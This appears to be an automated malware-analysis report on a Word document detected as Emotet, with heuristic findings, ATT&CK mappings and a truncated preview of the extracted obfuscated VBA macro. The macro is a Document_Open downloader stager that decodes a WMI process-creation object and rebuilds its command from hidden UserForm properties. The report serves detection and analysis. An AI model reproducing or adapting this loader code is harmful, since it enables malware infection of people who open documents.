MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. The heuristics indicate a hidden command stager using CreateObject and string manipulation, typical of Emotet's obfuscation methods. The ClamAV signature also explicitly identifies it as Emotet. The VBA script likely downloads and executes a second-stage payload, although the exact URL is obfuscated within the script.
Heuristics 7
-
ClamAV: Doc.Malware.Emotet-9273606-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-9273606-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4272 bytes |
SHA-256: 39f1cee8c728066f2f81952a6d658b72bd8dfe3b52da823342fe05597edf4c94 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "LPSVGraaygbsu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
EAEVPlkkqpiqnz.HYMARgdremcvh
End Sub
Attribute VB_Name = "EAEVPlkkqpiqnz"
Attribute VB_Base = "0{1E8066C6-D3A4-4EA9-9C46-6909FBFACC74}{98363E3C-663C-4A9F-A608-F017EC2C177B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function HYMARgdremcvh()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
FGIFIgdfmwaixc = EAEVPlkkqpiqnz.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
BEPSVnexpenffvnb = ChrW(FGIFIgdfmwaixc + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
ZJVDWgwzpfve = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + BEPSVnexpenffvnb + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + EAEVPlkkqpiqnz.XENUAnvdrsai + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
YVBJWlusddoxyma = VEJMIheaoobz(ZJVDWgwzpfve)
Dim JtF1ÔVIsgfW As Variant
Set UHIYTcnjljldmv = CreateObject(YVBJWlusddoxyma)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
IUAFOcwxcsrbsdsi = EAEVPlkkqpiqnz.NNYBVhehsucn.ControlTipText
Dim aKHZFGTowB As Currency
HVBPAlxpjaccymttcbd = m2m3b5 + (YVBJWlusddoxyma + BEPSVnexpenffvnb + EAEVPlkkqpiqnz.VZFVYlbgubem.ControlTipText + IUAFOcwxcsrbsdsi)
Dim fIspInaCW As String
EPVQTrqgxueucbby = HVBPAlxpjaccymttcbd + EAEVPlkkqpiqnz.XENUAnvdrsai
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set MZTGKzbjhpxo = OJABNzowcnqotaxp(EPVQTrqgxueucbby)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", UHIYTcnjljldmv. _
Create(CEQTXvqmkwsc, PGLFXmqfmybgto, MZTGKzbjhpxo), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function CEQTXvqmkwsc()
n21bh3 = EAEVPlkkqpiqnz.BBMXDgcsxvuuo.Pages(vbOK).Caption
CEQTXvqmkwsc = VEJMIheaoobz(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function OJABNzowcnqotaxp(YDXWAgendjvriiujkjp)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set OJABNzowcnqotaxp = CreateObject(YDXWAgendjvriiujkjp)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
OJABNzowcnqotaxp. _
showwindow = WJPCSmuyjjkkfkmr + VAHRGfzvkfjblp
Dim UMbU As Object
End Function
Function VEJMIheaoobz(YBNMSvgbpawjylmrftr)
EQPKRpffkzhwa = YBNMSvgbpawjylmrftr
Dim ZvdC As Currency
SHQUSncwokptetfvfir = Split _
(EQPKRpffkzhwa, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
ONYJQmbfvfnmhu = mmm2 + Join(SHQUSncwokptetfvfir, msnj2)
Dim r4áAANisy As Integer
r4áAANisy = 4
Do While r4áAANisy < 4 + 5
r4áAANisy = r4áAANisy + 6: DoEve
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.